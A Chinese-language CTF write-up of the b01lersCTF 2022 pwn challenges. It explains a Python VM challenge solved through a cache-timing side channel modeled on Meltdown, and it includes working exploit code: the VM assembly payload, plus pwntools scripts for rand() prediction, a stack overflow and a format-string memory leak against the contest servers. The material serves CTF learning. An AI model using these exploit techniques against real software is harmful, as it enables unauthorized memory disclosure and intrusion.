b01lersCTF2022_pwn

最后一个pwn是一个python,看了半天实在不知道哪里有问题。最后一题是赛后看了wp复现的,后来才知道是对puthon的性质不熟悉,利用的是侧信道攻击。

CPU

这是最后一个pwn,也是本次比赛唯一一个有价值的pwn,因为前面三个都非常简单。

程序逻辑

首先逆向一下逻辑,他一共有14个类似寄存器一样的内容。每个用Xi表示。对应的内容表示如下。

X00: reset次数

X01:寄存器文件,包含了10个r

X02:execute次数(或者说是时间)

X03:访问过的内存(是一个key-value的形式)

X04:密文

X05:指令寄存器rip,指向当前运行到的内存

X06:一个函数,用int( )直接返回数字

X07:将寄存器转换为下标。例如r10转换为10

X08:一个函数,返回[-1000,1000]的一个数字

X09:返回一个内存下标

X10:内存读取的起始位置

这个CPU主要实现的就是一般的虚拟机能做到的加减乘除。我们读取flag的方式就是读到X04中储存的密文,放在r0-r3里面,调用一个magic指令就可以了。

在程序的一开始,X04被读入memory的0-3位置

1
2
3
4
5
6
7
def run(self, debug=0):
ins = self.instructions[0]
for i,v in enumerate(self.X04):
self.memory[i] = v # 想办法读这里内容
while (self.X05>=0 and self.X05<len(self.instructions) and self.X00<4 and self.X02<20000): # 逐个执行指令
ins = self.instructions[self.X05]
self.execute(ins)

我们唯一可以和内存交互的地方是movfrommovto。对应内容如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
elif ins.op == "movfrom":
X09 = ins.X10 + self.X01[ins.dsp] # X09是内存下标
X09 = X09 % len(self.memory)
if X09 in self.X03: # X03记录访问过的内存,像是一个cache
v = self.X03[X09]
v = (v & 0xffffffff)
self.X01[ins.X11] = v # 这里会读到寄存器里面
self.X05 += 1
else:
v = self.memory[X09]
self.X03[X09] = v # 可以把随机数读取到X03里面
self.execute(ins) # 能否在这次exe的时候
elif ins.op == "movto":
X09 = ins.X10 + self.X01[ins.dsp] # X10是内存起始位置,可以写0, self.X01[ins.dsp]是寄存器中第几个值
X09 = X09 % len(self.memory)
if X09 in self.X03:
del self.X03[X09]
v = (self.X01[ins.X11] & 0xffffffff)
self.memory[X09] = v # 这边直接改掉memory不可以吗,不可以,最后比较的是寄存器
self.X05 += 1

movfrom可以先把memory中的内容加载到X03中,当我们首次从内存中取出元素时,会进入movfromelse的位置,注意这里再调用了一次execute,第二次会进入第一次的if,然后把内存的值写入寄存器X01。

我们确实可以通过这种方法读取memory中的随机数。但是执行magic还需要另外的条件。可以看到下面,magic首先会检查X00是不是2,而X00是reset指令的使用次数。但是,每次调用reset的时候,都会把当前的所有寄存器,memory都清空,也就将失去我们刚才获得的随机数。比赛的时候逆向完逻辑,就卡在了这里。

1
2
3
4
5
6
7
8
9
elif ins.op == "magic":
if self.X00 == 2: # 00应该是状态寄存器之类的,每一次reset就会+1
if tuple(self.X01[0:4]) == self.X04:
with open("flag.txt", "rb") as fp:
cc = fp.read()
cc = cc.strip()
cc = cc.ljust(len(self.X01)*4, b"\x00")
for i in range(len(self.X01)):
self.X01[i] = struct.unpack("<I", cc[i*4:(i+1)*4])[0]

这里是reset完成清空的过程。

1
2
3
4
5
6
7
8
def reset(self): # 会重新从头开始执行
self.X05 = 0 # 指令开始地址
self.X01 = [0 for r in range(X14)] # 一共10个寄存器
self.memory = [0 for _ in range(X13)] # 我们要读的地方 一个很大的list里面存的都是0
self.X02 = 0
for k in self.X03.keys():
self.X03[k] = 0 # X03是访问过的内存
self.X00 += 1

看似..似乎是矛盾的。

漏洞点

看了wp才知道,原来是因为自己对python的性质不熟悉造成的。以下程序

1
2
3
4
a = {}
a = {1:111,2:222}
for i in a:
print(i)

输出的内容是

image-20220425125032396

并不是两个元组!也就是说,上面的key-map的每一个元素,其实只是每个元素的key值

那么这道题的漏洞点其实就很清楚了。回看reset,有这样一句指令。

1
2
for k in self.X03.keys():
self.X03[k] = 0 # X03是访问过的内存

这一步所做的,其实只是清除了X03下标中的数据,而并没有清除X03的下标!

举个例子,我们一开始读入四个数据之后的X03结果为{0:aa,1:bb,2:cc,3:dd},在reset之后结果是{0:0,1:0,2:0,3:0}。但是在movfrom中,下面的指令

1
2
3
4
5
6
7
8
elif ins.op == "movfrom":
X09 = ins.X10 + self.X01[ins.dsp] # X09是内存下标
X09 = X09 % len(self.memory)
if X09 in self.X03: #<----注意这一条
v = self.X03[X09]
v = (v & 0xffffffff)
self.X01[ins.X11] = v # 这里会读到寄存器里面
self.X05 += 1

只是检查X09这个下标是不是在X03中。也就是说:如果我们一开始把随机数当成下标,然后访问这个下标的数据,就会先把随机数对应的下标加载到X03,那么下次访问,将会少一个time周期。根据这个可以侧信道攻击得到随机数

这正是大名鼎鼎的meltdown的原版复现!

另外需要注意的是,reset之后程序下一条指令并不是reset后面的指令。比如说下面的例子。

1
2
3
4
movc r9 0
movfrom r0 0 r9
reset
movfrom r1 1 r9

当第一次执行到reset之后,程序下一条指令是movc r9 0。这是因为reset清空了X05,导致我们需要从头执行。

exp

总结一下思路:首先是用movfrom读出随机数,然后访问随机数下标对应的内存。访问了之后调用reset。这应该回到我们开始的位置。但是除了之前提到的下标之外,所有信息全被清空了。为此,我们需要在程序一开始加上一个访问第0个内存的判断。如果访问过第0个,说明已经reset过,反之就是第一次访问。在第二次访问时,需要判断从零开始访问所有memory的时间,如果找到时间大于2的,就记录下来。这个下标就是随机数。

问题

在写的时候碰到的问题:由于限制了我们能够执行的指令数目至多为20000条,因此不能遍历所有内存。没看解法之前,感觉没有想法,按理来说是要全部看一遍的,不然就是思路错了。

看了wp才发现,更巧妙的做法是**每次不直接读取对应的随机数,之后保存在随机数下标位置,而是获得随机数的二进制表示下的所有bit。考虑到给定的随机数是有范围的,至多可以用32个bit表示。那么我们可以为每个数字,在内存下标中记录二进制表示方法..感觉难以用语言描述。比如说下面的例子。

image-20220425170001768

我们假定直到是从256开始的。那么我们规定,如果那个对应的二进制位置(比如说是第i位置)是0,就访问(256+i),让内存中cache这个数据。上面就相当于知道了这个数字的二进制表示是第一位(256)是0,第二位(257)是0,…以此类推,算满32位,就可以恢复出原始数字。

通过这种方法,访问每个数字时只需要访问内存32次,并且能够保存数字顺序。实在是很巧妙。

exp没有手写,调试了一边了解了原理。这位作者估计也是觉得没有注释太麻烦了,实现了一个前端编译器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import re

code = '''
movfrom r0 1337 r0
movc r3 3
time
sub r0 r3

movc r1 1 ; always one
movc r8 2 ; multiplier

jmpz after_reset ; jmp to reset code

; first execution code
before_reset:
movc r2 1 ; mask

main_loop:
movfrom r0 0 r7
and r0 r2
jmpz next_bit
movfrom r0 256 r5

next_bit:
mul r2 r8
add r5 r1
mov r0 r2
jmpz next_var
jmp main_loop

next_var:
add r7 r1; set r7=r7+1
mov r0 r7 ; set r0: r7
jmpg r3 do_reset ; r3=3
jmp before_reset

do_reset:
reset

; after reset code
after_reset:
xor r9 r9
movc r2 1 ; mask

recover_var:
time
mov r4 r0
movfrom r0 256 r5
time
sub r0 r4
sub r0 r3
sub r0 r1
jmpz r_next_bit
or r9 r2
r_next_bit:
mul r2 r8
add r5 r1
mov r0 r2
jmpz r_next_var
jmp recover_var

r_next_var:
movto r9 0 r7
add r7 r1
mov r0 r7
jmpg r3 fin
jmp after_reset

fin:
movfrom r0 0 r2
movfrom r1 1 r2
movfrom r3 3 r2
movfrom r2 2 r2
magic
'''

code = [line.strip() for line in code.split('\n')]
code = [line for line in code if line and not line.startswith(';')]

labels = {}
for i, line in enumerate(code):
if line.endswith(':'):
label = line[:-1]
assert label not in labels
labels[label] = i
del code[i]

for i, line in enumerate(code):
if ';' in line:
line = re.sub(r';.*', '', line).strip()

op = line.split(' ')
if op[0] in ['jmp', 'jmpz']:
op[1] = str(labels[op[1]] - i)

if op[0] in ['jmpg']:
op[2] = str(labels[op[2]] - i)

print(' '.join(op))

print('\n' * 2)

反思和总结

这道题除了让我第一次知道侧信道攻击在CTF中的实际应用(出的太好了),还提出了一种优化meltdown攻击的方法。

之前我们做meltdown时,需要总共设置一个256*(4096)的空间,这道题给了我们启发。实际上,只需要8*4096个空间即可。我们可以用每个空间分别保存这个asci字符的每一位,一样可以恢复出256种数据。归根结底,还是一个编码问题(题外话)

这题没做出来确实不亏,因为即使知道了这个cache可以缓存,一开始也很难想到用二进制记录数据。

gambler baby

直接预测rand()即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
filename="./gambler-baby1.tgz"
libc_name="/lib/x86_64-linux-gnu/libc.so.6"
# io = process(filename)
io = remote('ctf.b01lers.com',9202)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']
from ctypes import *

libc = cdll.LoadLibrary(libc_name)

for i in range(0,100):
a = chr(libc.rand()%26+97)
print(a)
b = chr(libc.rand()%26+97)
print(a)
c = chr(libc.rand()%26+97)
print(a)
d = chr(libc.rand()%26+97)
print(a)
payload = a+b+c+d
print(payload)
io.recvuntil('letters:')
io.sendline(payload)

gambler overflow

裸栈溢出,但是不需要改返回值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
filename="./gambler_overflow"
libc_name="/lib/x86_64-linux-gnu/libc.so.6"
# io = process(filename)
io = remote('ctf.b01lers.com',9203)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']
from ctypes import *

libc = cdll.LoadLibrary(libc_name)

for i in range(0,100):
payload = b"a"*0x7+b'\x00'+b'a'*0x7+b'\n'
io.recvuntil('letters: ')
io.send(payload)

io.interactive()

gambler supreme

格式化字符串即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from matplotlib.pyplot import flag
from pwn import *
filename="./gambler_supreme"
libc_name="/lib/x86_64-linux-gnu/libc.so.6"
# io = process(filename)
io = remote('ctf.b01lers.com',9201)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']
from ctypes import *

payload = b"%9$saaaa" + p64(0x404050)
io.sendlineafter('(inclusive):','1')
# gdb.attach(io,"b *0x4016D8")
io.sendlineafter('letters:',payload)
flag_place = u64(io.recvuntil('aaaa',drop=True)[-4:].ljust(8,b'\x00'))
print('flag_place: ' + hex(flag_place))
payload = b"%9$saaaa" + p64(flag_place)
io.sendlineafter('letters:',payload)

io.interactive()
文章目录
  1. 1. CPU
    1. 1.1. 程序逻辑
    2. 1.2. 漏洞点
    3. 1.3. exp
      1. 1.3.1. 问题
    4. 1.4. 反思和总结
  2. 2. gambler baby
  3. 3. gambler overflow
  4. 4. gambler supreme
|